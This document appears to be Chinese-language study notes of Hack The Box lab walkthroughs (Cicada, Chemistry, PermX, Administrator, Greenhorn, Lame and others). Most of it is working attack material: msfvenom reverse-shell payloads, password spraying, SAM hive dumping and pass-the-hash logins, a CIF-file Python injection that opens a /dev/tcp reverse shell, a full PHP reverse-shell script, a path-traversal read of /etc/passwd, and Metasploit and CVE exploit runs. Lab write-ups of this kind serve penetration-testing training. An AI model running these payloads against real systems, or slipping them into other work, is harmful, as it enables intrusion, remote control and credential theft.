# MSFvenom
## 建立反向連線程式檔
指令 192.168.43.242/192.168.43.128.
```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Addr) LPORT=(Your Port) -f exe -o reverse.exe
```
這個指令的作用是創建一個 Windows 可執行文件(reverse.exe),當受害者執行該文件後,會嘗試連回設定的 IP 和端口,並建立 Meterpreter session,供攻擊者進行遠端操控。
* `msfvenom`:生成各種 payload 的工具
* `-p windows/meterpreter/reverse_tcp`:指定 payload 類型,表示使用 Meterpreter payload,透過 TCP 反向連線(reverse connection)的方式,連回到攻擊者的機器
* `LHOST=(IP Address)`:設定攻擊者的 IP 地址
* `LPORT=(Your Port)`:設定攻擊者的端口號碼
* `-f exe`:指定生成 payload 的格式為 Windows 可執行文件(.exe)
* `-o reverse.exe`:將生成的可執行文件保存為 reverse.exe

檢查檔案是否存在

## 建立反向連線 Webshell 檔案
```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Addr) LPORT=(Your Port) -f aspx
```

**差異分析**
1. `exe`格式(reverse.exe):
* 這是一個 Windows 可執行文件。適合用於本地執行或社交工程攻擊,當目標用戶在其 Windows 系統上執行這個文件時,它會嘗試連接到指定的 LHOST 和 LPORT
* 適合用於直接控制 Windows 主機
2. `aspx`格式:
* 這是一個 ASP.NET 網頁文件,適合部署到目標 IIS 網頁伺服器上。如果目標伺服器允許上傳或執行 ASPX 文件,當這個文件被訪問時,它會嘗試反向連線到攻擊者機器
* 適合用於攻擊網頁伺服器,尤其是運行 ASP.NET 的 IIS 伺服器
## 設置SMBServer
```
impacket-smbserver -smb2support share ~/(路徑) -username (自訂) -password (自訂)
```
1. `impacket-smbserver`:impacket 是一個 Python 套件,包含了一組用於處理網路協定的工具。smbserver 是其中一個用於建立簡單 SMB 檔案分享伺服器的工具
2. `-smb2support` :這個選項表示啟用 SMBv2 協定支持。SMB(Server Message Block)協定主要用於網路檔案分享,而 SMBv2 相比於舊版的 SMBv1 具有更好的性能和安全性
3. `share`:這是設定的共享名稱。客戶端連接到這個 SMB 伺服器時會看到這個共享名稱,並可透過它來訪問伺服器上的文件。例如,你可以在 Windows 文件管理器中輸入 \\伺服器IP\share 來訪問這個共享
4. `~/` :指定共享的目錄路徑。在這裡,~/ 表示主目錄(即當前使用者的家目錄)。這意味著當客戶端訪問這個共享時,可以訪問伺服器上設置為共享的主目錄
5. `-username ****`:設定 SMB 伺服器的使用者名稱為 ****
6. `-password ****`:設定 SMB 伺服器的密碼為 ****
**檢查SMBserver是否打開**
```
ps aux | grep smbserver
```

* 有出現上面那行才是代表有開啟
## 掛載SMB檔案到本地(靶機)
在靶機上執行
```
net use U: \\192.168.43.242\share /u:(SMB帳號) (密碼)
```

**這個指令的作用是在靶機上建立一個到攻擊者機器的 SMB 共享連接,將攻擊者機器上的 share 共享文件夾映射為靶機的 U: 磁碟。這樣靶機就可以像操作本地磁碟一樣,訪問攻擊者機器上的 share 共享文件夾中的所有文件**
1. `net use`: Windows 中用於管理網路驅動器、網路打印機和共享連接的命令。它可以用來掛載或移除網路共享
1. `U:`:本地電腦中要映射的磁碟代號。當這個命令成功執行後,靶機會將遠端共享映射為本地磁碟 U:,你可以像操作本地磁碟一樣訪問共享文件
1. `\\192.168.43.242\share`:
* `\\`雙反斜線表示連接到網路上的遠端共享
* 192.168.43.242:這是攻擊者機器的 IP 地址,表示遠端共享伺服器的位置
* `share`:這是攻擊者機器上共享的名稱,表示攻擊者機器上提供的共享目錄或文件夾。這個名稱必須與 impacket-smbserver 中設置的共享名稱一致
4. `/u:BBrain 3011`:連接到共享伺服器時所需的帳號、密碼
如果在靶機上有連不上的問題
檢查以下2點
1. **攻擊機與靶機ip是否於相同網段**
可以用此指令更改其中一台ip/網段
`sudo ifconfig eth0 192.168.56.10 netmask 255.255.255.0 up
`
1. **檢查虛擬機網路模式**
在虛擬機設定中找到網路,再「附加到」選擇「橋接介面卡」或「Host-only 介面卡」,兩台機器要一致
**查看**
透過指令`dir U:`

或是直接點擊資料夾查看


---
# Cicada
[參考](https://www.cnblogs.com/F12-blog/p/18464782)
[參考二](https://www.hyhforever.top/htb-cicada/)
## 連接VPN
```
sudo openvpn
```

* 成功啟用了 OpenVPN 連線
* 若要保持VPN持續連接,不要關閉這個終端機頁面,開啟其他終端機
## 掃描靶機

* `-vvv`:啟用 非常詳細的輸出(verbose mode)
* 應該要看到有哪些port是打開的
**可能出現的問題**
1.在HTB上下載不同國家vpn
2.刪除多餘的vpn連線
## 查看SMB可用資源
1. `smbclient -L //10.10.11.35/ `是用於檢查特定伺服器上可用的 Samba 共享資源的指令

* ` ADMIN$` 和 `C$`:
這些是 Windows 預設的管理員共享,通常只能由管理員帳號存取。
* ` DEV `和 `HR`:
這是伺服器上的兩個自訂共享資料夾,**可以嘗試進一步連接到這些資源**(下面步驟)。
* `IPC$`:
IPC(Inter-Process Communication),用於程序之間的通訊,通常是系統管理用途。
* `NETLOGON `和 `SYSVOL`:
這些是 Windows 網域控制器的共享,用於管理網域登入腳本和原則(GPO)。
2. `smbclient -N //10.10.11.35/HR `是用來連接位於 10.10.11.35 這台伺服器上名為 HR 的 Samba 共享資源

* `-N` 代表不使用密碼進行認證,即匿名登入
* 將"Notice from HR.txt"下載下來
```
┌──(kali㉿kali)-[~]
└─$ cat "Notice from HR.txt"
```
* 查看文件,保存文件中的預設密碼`Cicada$M6Corpb*@Lp#nZp!8`
## 使用CrackMapExec進行帳號與RID枚舉
使用 CrackMapExec 對目標 10.10.11.35 伺服器進行 RID 掃描
```
┌──(kali㉿kali)-[~]
└─$ crackmapexec smb 10.10.11.35 -u "guest" -p "" --rid-brute
```

* RID 是標識每個帳號的唯一部分
> 498: CICADA\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: CICADA\Administrator (SidTypeUser)
501: CICADA\Guest (SidTypeUser)
* 透過使用預設帳戶guest爆破rid來探測存在的用戶名
* `CICADA-DC`:伺服器的網域名稱或主機名稱
* 像是這便有看到john、sarah、michael、david、emily這幾個使用者
**對伺服器進行多帳號的密碼測試**
```
crackmapexec smb 10.10.11.35 -u user.txt -p 'Cicada$M6Corpb*@Lp#nZp!8'
```

* user.txt存載著多著使用者的帳號
* 運作方式是將多個使用者帳號逐一嘗試登入,但每個帳號都使用同一組密碼(Cicada$M6Corpb*@Lp#nZp!8)
* 也稱為密碼噴灑(Password Spraying)
* `[+]`:這是一個成功登入的指標,其中的帳號與密碼通過了驗證
## 使用Enum4linux獲取詳細SMB協議資訊
**安裝enum4linux-ng**
這是一個用於從 Windows 和 Samba 伺服器中提取使用者、群組、共享、權限和其他系統資訊的工具
error:

* 由於 apt 進程(PID 40931)正在佔用鎖文件正在被其他進程佔用,導致你無法安裝 enum4linux-ng
* 檢查 apt 是否有其他進程正在執行
```
ps aux | grep apt
```
* 刪除進程
```
sudo kill -9 40931
```
---
```
enum4linux-ng -A -u michael.wrightson -p 'Cicada$M6Corpb*@Lp#nZp!8' 10.10.11.35 -t 10
```
* 這個指令的目的是使用 michael.wrightson 帳號和密碼對 IP 10.10.11.35 上的 SMB 服務進行枚舉,嘗試收集伺服器上可用的資訊

* david的帳號密碼:`aRt$Lp#7t*VQ!3`
## 探索並下載SMB共享資源中的敏感數據
```
smbclient //10.10.11.35/DEV -U 'david.orelious'
```
* 使用 smbclient 工具來連接 SMB(Server Message Block)共享資源。目的是使用 david.orelious 帳號,對伺服器 10.10.11.35 上的 DEV 共享資源進行存取

---
查看檔案

* 保存密碼:`Q!3@Lp#M6b*7t*Vt`
## 透過Evil-WinRM遠端連接Windows Server
```
evil-winrm -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt' -i 10.10.11.35
```
* `evil-winrm`:這是一個專門用來連接 Windows 系統的工具,透過 WinRM 協議實現遠端管理
* 這個指令使用 Evil-WinRM 來連接到目標 Windows 伺服器(IP:10.10.11.35),並透過提供的帳號和密碼進入該系統的 Windows Remote Management (WinRM) 服務
**參數解析:**
* ` evil-winrm`:這是一個滲透測試工具,用來透過 WinRM(Windows Remote Management) 連接遠端 Windows 系統並執行命令。
* `-u emily.oscars`:指定使用者帳號為 emily.oscars,這個帳號需要具有權限來存取 WinRM 服務。
* ` -p 'Q!3@Lp#M6b*7t*Vt'`:指定該使用者的密碼。
* `-i 10.10.11.35`:目標伺服器的 IP 地址,也就是你要連接的 Windows 系統。
## 提權
查詢目前使用者權限

創建新的資料夾
```
*Evil-WinRM* PS C:\> mkdir Temp
```
* make directory
存取並儲存登錄檔的 SAM 和 SYSTEM 檔案
```
*Evil-WinRM* PS C:\> reg save hklm\sam c:\Temp\sam
*Evil-WinRM* PS C:\> reg save hklm\system c:\Temp\system
```
* `reg save`:這個指令將登錄檔的資料儲存為檔案。
* `hklm\sam`:SAM(Security Account Manager)儲存了 Windows 系統中的使用者帳號和密碼雜湊。
* `hklm\system`:SYSTEM 登錄檔包含了系統設定,對解密 SAM 檔案中的密碼雜湊非常重要。
* 這兩個檔案的組合可以用來離線破解 Windows 使用者的密碼。
進入 Temp 資料夾
```
*Evil-WinRM* PS C:\> cd Temp
```
* 將工作目錄切換到 C:\Temp,這裡是剛剛將 sam 和 system 檔案儲存的位置
下載 SAM 和 SYSTEM 檔案到本地端
```
*Evil-WinRM* PS C:\Temp> download sam
*Evil-WinRM* PS C:\Temp> download system
```
* 你透過 Evil-WinRM 將 sam 和 system 檔案下載到你的本地電腦。
* 下載成功後,你可以使用 離線破解工具(如 Hashcat 或 John the Ripper) 來解密並破解 SAM 檔案中的使用者密碼
## 登入
pypykatz工具:提取 Windows 系統上使用者帳號和密碼雜湊
```
pypykatz registry --sam sam system
```

登入
```
evil-winrm -i 10.10.11.35 -u administrator -H 2b87e7c93a3e8a0ea4a581937016f341
```
* 使用 Evil-WinRM 工具來嘗試連接到目標 Windows 伺服器(cicada.htb)
* 以 Administrator 帳號進行身份驗證。這裡的密碼是通過 NT hash 提供的,而不是直接使用明文密碼
取得目標機器的最高權限
```
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../Desktop
```
```
*Evil-WinRM* PS C:\Users\Administrator\Desktop> dir
```
```
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
```
---
# chemistry
**nmap -sV -p 22,5000 10.10.11.38**
* -p 22,5000:這裡指定了兩個端口(22 和 5000)來掃描。22 是 SSH 通信的標準端口,而 5000 常常用於各種應用程序(如 Flask Web 服務器)

* 22 號端口提供 SSH 連線,允許遠端連線進行系統管理。
* 5000 號端口運行一個 Web 應用程式,可能涉及化學數據處理。此服務回傳的資訊讓我們知道它基於 Werkzeug 和 Python,並且是基於 HTTP 的應用服務。
這段代碼片段中的 _space_group_magn.transform_BNS_Pp_abc 欄位包含了潛在的惡意代碼注入,它利用了 Python 的內部機制來試圖執行操作系統命令
[revshells](https://www.revshells.com/)
```
_space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("/bin/bash -c \'sh -i >& /dev/tcp/10.10.10.10/9001 0>&1\'");0,0,0'
_space_group_magn.number_BNS 62.448
_space_group_magn.name_BNS "P n' m a' "
```
---
```
netstat -nlp
```
* netstat -nlp 是一條在 Linux 系統中使用的指令,用來檢查當前系統上的網路連線狀態
```
curl --head http://127.0.0.1:8080
```
* 使用 curl 命令來檢查本機(127.0.0.1)的 8080 端口上是否有 HTTP 服務在運行
```
curl -s --path-as-is http://127.0.0.1:8080/assets/../../../../etc/passwd
```
* 這條 curl 指令試圖利用文件路徑中的相對路徑穿越(目錄遍歷)來訪問伺服器的敏感文件
* 目標文件:/etc/passwd
* assets:這是伺服器暴露出來的公共目錄,URL 中的相對路徑則試圖突破其限制,訪問系統的敏感文件
---
# perx
## **nmap掃描**
```
nmap -vvv -Pn 10.10.11.23
```
* 要出現`Initialization Sequence Completed`才代表VPN有連線成功(通常出現在倒數第4行)
* 偵測到 10.10.11.23 伺服器上開放的 22 (SSH) 和 80 (HTTP) 端口,還有一些被過濾的端口(如 2049、7002、8021 和 27355)
```
nmap -sC -sV 10.10.11.23
```
* 使用 Nmap 的腳本掃描(-sC 或 --script vuln)來檢查已知的漏洞,特別是針對開放的 SSH 和 HTTP 服務
* 發現網站的潛在名稱`http://permx.htb`
## **尋找子網域**
```
ffuf -w /usr/share/wordlists/subdomains-top1mil-20000.txt -u http://10.10.11.23 -H "Host: FUZZ.permx.htb"
```
* 太多資料的要過濾一下
```
ffuf -w /usr/share/wordlists/subdomains-top1mil-20000.txt -u http://10.10.11.23 -H "Host: FUZZ.permx.htb" -fw 18
```
* 只會顯示 Words 不是 18 的結果
* 找到subdomain of permx.htb about an online learning platform:`lms.permx.htb`
## **進入子網域尋找應用程式**
先將`10.10.11.23 lms.permx.htb`加入`/etc/hosts`
即可在瀏覽器搜尋`http://lms.permx.htb/`
發送一個 HTTP 請求 來獲取目標網站的 HTTP 標頭
```
curl -I http://lms.permx.htb
```
* 伺服器類型(例如 Server: Apache/2.4.52 (Ubuntu))
* X-Powered-By 頭標中應用程序的框架或版本(例如 X-Powered-By: Chamilo 1)`-the flag`
* Cookie 設定(例如 Set-Cookie)
* 緩存控制(Cache-Control、Expires)
* 內容類型(Content-Type)
## **尋找Chamilo版本**
This suggests that the website is running Chamilo LMS version 1.x. However, the exact subversion (e.g., 1.11.28) is not specified in the headers
檢查`robots.txt`,發現`/documentation/`
## **尋找CVE**
根據chiamilo的版本、RCE、XSS這幾個關鍵字
## **CVE漏洞利用**
因為已經到到CVE版本了
所以可以直接去網路上找[exploit](https://github.com/Ziad-Sakr/Chamilo-CVE-2023-4220-Exploit/tree/main)
這個github只有提供 CVE-2023-4220. sh,沒有提供reverseshell.php
執行` ./CVE-2023-4220.sh -f reverseshell.php -h http://lms.permx.htb -p 4444`
1. CVE-2023-4220.sh是一個利用腳本
* 自動化上傳:該腳本接受多個參數,包括目標URL、端口、攻擊者的IP地址等,並自動執行文件上傳過程。
* 執行特定payload:根據提供的參數,腳本可以上傳不同類型的payload(例如反向Shell),以便於在成功上傳後執行。
2. reverse_file的功能
* 遠程代碼執行(RCE):這個文件通常包含可以在伺服器上執行的代碼,例如反向Shell,允許攻擊者通過HTTP請求來控制伺服器。
* 命令執行:攻擊者可以通過該文件執行任意命令,從而獲取系統信息、下載其他惡意軟件或進一步擴展攻擊。
以下是 PHP 反向 Shell 腳本的範例:
```
<?php
$ip = 'YOUR_IP_ADDRESS'; // 替換為你的IP地址
$port = YOUR_PORT; // 替換為你想使用的端口
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket === false) {
die("socket_create() failed: " . socket_strerror(socket_last_error()) . "\n");
}
$result = socket_connect($socket, $ip, $port);
if ($result === false) {
die("socket_connect() failed.\nReason: ($result) " . socket_strerror(socket_last_error($socket)) . "\n");
}
$cmd = "/bin/sh -i";
socket_write($socket, $cmd, strlen($cmd));
while ($read = socket_read($socket, 2048)) {
$output = shell_exec($read);
socket_write($socket, $output, strlen($output));
}
socket_close($socket);
?>
```
---
# monitorsthree
拉取字典檔
```
sudo wget https://raw.githubusercontent.com/theMiddleBlue/DNSenum/master/wordlist/subdomains-top1mil-20000.txt
```
ffuf
```
ffuf -u http://monitorsthree.htb -H "HOST:FUZZ.monitorsthree.htb" -w /usr/share/wordlists/subdomains-top1mil-20000.txt
```
* Status: 200:HTTP 狀態碼。200 代表請求成功,表示該子域名存在並回應正常。
* Size: 13560:回應的大小(位元組數)。13560 表示回應的總字節數量。
* Words: 3598:回應中包含的字數。
* Lines: 338:回應中包含的行數。
* Duration: 209ms:請求完成所需的時間(毫秒),即等待伺服器回應的延遲時間。
> -fw 3598:fw 代表 Filter Words,意思是過濾掉所有字數為 3598 的回應。當 ffuf 遇到回應字數為 3598 的結果時,這些回應會被忽略,僅顯示不符合此條件的結果
msfconsole
```
use multi/http/cacti_package_import_rce
```
> set USERNAME admin
> set PASSWORD greencacti2001
> set LHOST 10.10.14.13
> set RHOSTS http://cacti.monitorsthree.htb
> exploit
python pty
```
python3 -c "import pty; pty.spawn('/bin/bash')"
```
kali 字典檔路徑
```
/usr/share/wordlists
```
---
# administrator
## 偵查
**nmap**
**ftp**
**使用 CrackMapExec 工具來操作 SMB 協議**
`crackmapexec smb 10.10.11.42 -u 'olivia' -p 'ichliebedich' --shares`
* ` --shares`:列出目標機器上可用的共享資料夾
**使用(CME) 來測試並連接目標主機的 WinRM (Windows Remote Management) 服務**
`crackmapexec winrm 10.10.11.42 -u 'olivia' -p 'ichliebedich' `
## 連線
**用Evil-WinRM來連接目標主機的WinRM服務**
`evil-winrm -i 10.10.11.42 -u 'olivia' -p 'ichliebedich' `
**顯示當前用戶的特權(Privileges)**
`*Evil-WinRM* PS C:\Users\olivia\Documents> whoami /priv`
* 特權
1. SeMachineAccountPrivilege
1. SeChangeNotifyPrivilege
1. SeIncreaseWorkingSetPrivilege
**當前用戶(olivia)的完整信息**
`*Evil-WinRM* PS C:\Users\olivia\Documents> whoami /all`
1. 用戶信息 (User Information)
2. 群組信息 (Group Information)
3. 特權信息 (Privileges Information)
4. 用戶聲明信息 (User Claims Information)
5. Kerberos 支持 (Kerberos Support)
**列出 Windows 系統上的所有用戶帳戶**
`*Evil-WinRM* PS C:\Users\olivia\Documents> net user`
## Active Directory (AD)權限提升
**收集AD 權限和用戶有關資訊**
`bloodhound-python -d administrator.htb -ns 10.10.11.42 -u olivia -p ichliebedich -c All --zip`
* 使用 bloodhound-python 來對 administrator.htb 域進行分析
* 分析結果會被打包為 .zip 文件
**上傳zip檔案到bloodhound**

**與主機的 RPC 服務進行交互**
`rpcclient -U michael 10.10.11.42`
* rpcclient 是一個用於與 Windows 計算機上的 RPC(Remote Procedure Call)服務交互的工具
* `setuserinfo2 benjamin 23 'benjamin'`:將 benjamin 用戶的密碼更改為 benjamin
**連線FTP**
`ftp 10.10.11.42`
username:benjamin/ password:benjamin
`ftp> get Backup.psafe3`
* FTP 伺服器下載文件 Backup.psafe3 到本地機器
**破解password safe**
1. 確認 john 支援 pwsafe 格式
`john --list=formats`
1. 使用 pwsafe2john 來轉換 .pwsafe 檔案
`pwsafe2john Backup.psafe3 > pwsafe.hash`
1. 使用john搭配字典檔破解
`john --wordlist=/usr/share/wordlists/rockyou.txt pwsafe.hash`
* 密碼是 tekieromucho,
* 帳戶名稱是 Backu
---
# Greenhorn
## Task1
> How many TCP ports are listening on Greenhorn?
```
nmap -vvv -Pn 10.10.11.25
```

## Taks2
> What content management system (CMS) and version powers the website on TCP 80?
> TCP 80 上的網站採用什麼內容管理系統 (CMS) 和版本?
修改etc/host
```
sudo nano /etc/hosts
```
```
10.10.11.25 greenhorn.htb
```
上述兩個的快捷鍵
```
sudo echo "10.10.11.25 greenhorn.htb" | sudo tee -a /etc/hosts
```
進入網站後,按右鍵點選`View Page Source`

* Pluck 是一款簡單的網站內容管理系統(CMS),它允許使用者創建和管理網站
## Task3
> Where does pluck save its admin hash? Give the answer relative to the root of the Pluck instance.
> pluck 在哪裡保存其管理hash值?給出相對於 Pluck 實例的根的答案。
進入這個網站(http://10.10.11.25:3000/)
查看login.php

* 密碼驗證方式

* 密碼通過`SHA512`雜湊
在`http://10.10.11.25:3000/GreenAdmin/GreenHorn/src/branch/main/data/settings/pass.php`找到psss.php

* 與login.php中`$ww`吻合
## Task4
> What is the admin password for this Pluck instance?
> 此 Pluck 實例的管理員密碼是什麼?
>
根據上述,我們找到一串經過雜湊過的密碼
我們也知道密碼是經過SHA512雜湊的
去找找看[彩虹表](https://hashes.com/en/decrypt/hash)

* password:`iloveyou1`
## **Task5**
> What system user on Greenhorn is the Pluck instance running as?
> Pluck 實例以 Greenhorn 上的哪個系統使用者身分運作?
根據CMS的版本(pluck 4.7.18)搜尋CVE漏洞的Poc
[Github](https://github.com/Rai2en/CVE-2023-50564_Pluck-v4.7.18_PoC)
## CVE-2023-50564 Detail
漏洞概述
---
漏洞類型:遠端程式碼執行(RCE)
影響版本:Pluck CMS 4.7.18
發現時間:2024年4月
組件:/inc/modules_install.php
**描述**
---
Pluck-CMS v4.7.18 元件 /inc/modules_install.php 中存在後台文件上傳功能的設計缺陷,允許攻擊者透過上傳有攻擊性的 ZIP 檔案來取得RCE。
**pluck 簡介**
---
Pluck CMS 是一款輕量的內容管理系統(CMS),主要用於簡化小型網站的內容建立、管理和維護。可以透過 `http://yourdomain.com/admin` 存取後台管理介面
開發語言:PHP
---
# Lame
### 用nmap 掃描遠端主機的 Top 1000 個 TCP ports
```
nmap -Pn 10.10.10.3 -p- --top-ports 1000
```
### 查詢 VSFTPD(Very Secure FTP Daemon)版本
```
sudo nmap -sV -p 21 10.10.10.3
```
### 用metasploit查詢模組
```
search vsftpd
```
得到
```
exploit/unix/ftp/vsftpd_234_backdoor
```
利用該模組
```
use exploit/unix/ftp/vsftpd_234_backdoor
```
設定目標IP
```
set RHOSTS 10.10.10.3
```
執行
```
run
```
### 查詢 Samba 版本
* 通常是 TCP 139 和 445
```
nmap -sV -p 139,445 10.10.10.3
```
輸出結果
```
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
```
* 沒有完整的版本號碼
* 將指令增加 `-A` : 更強的版本偵測選項
```
nmap -A -p 139,445 10.10.10.3
```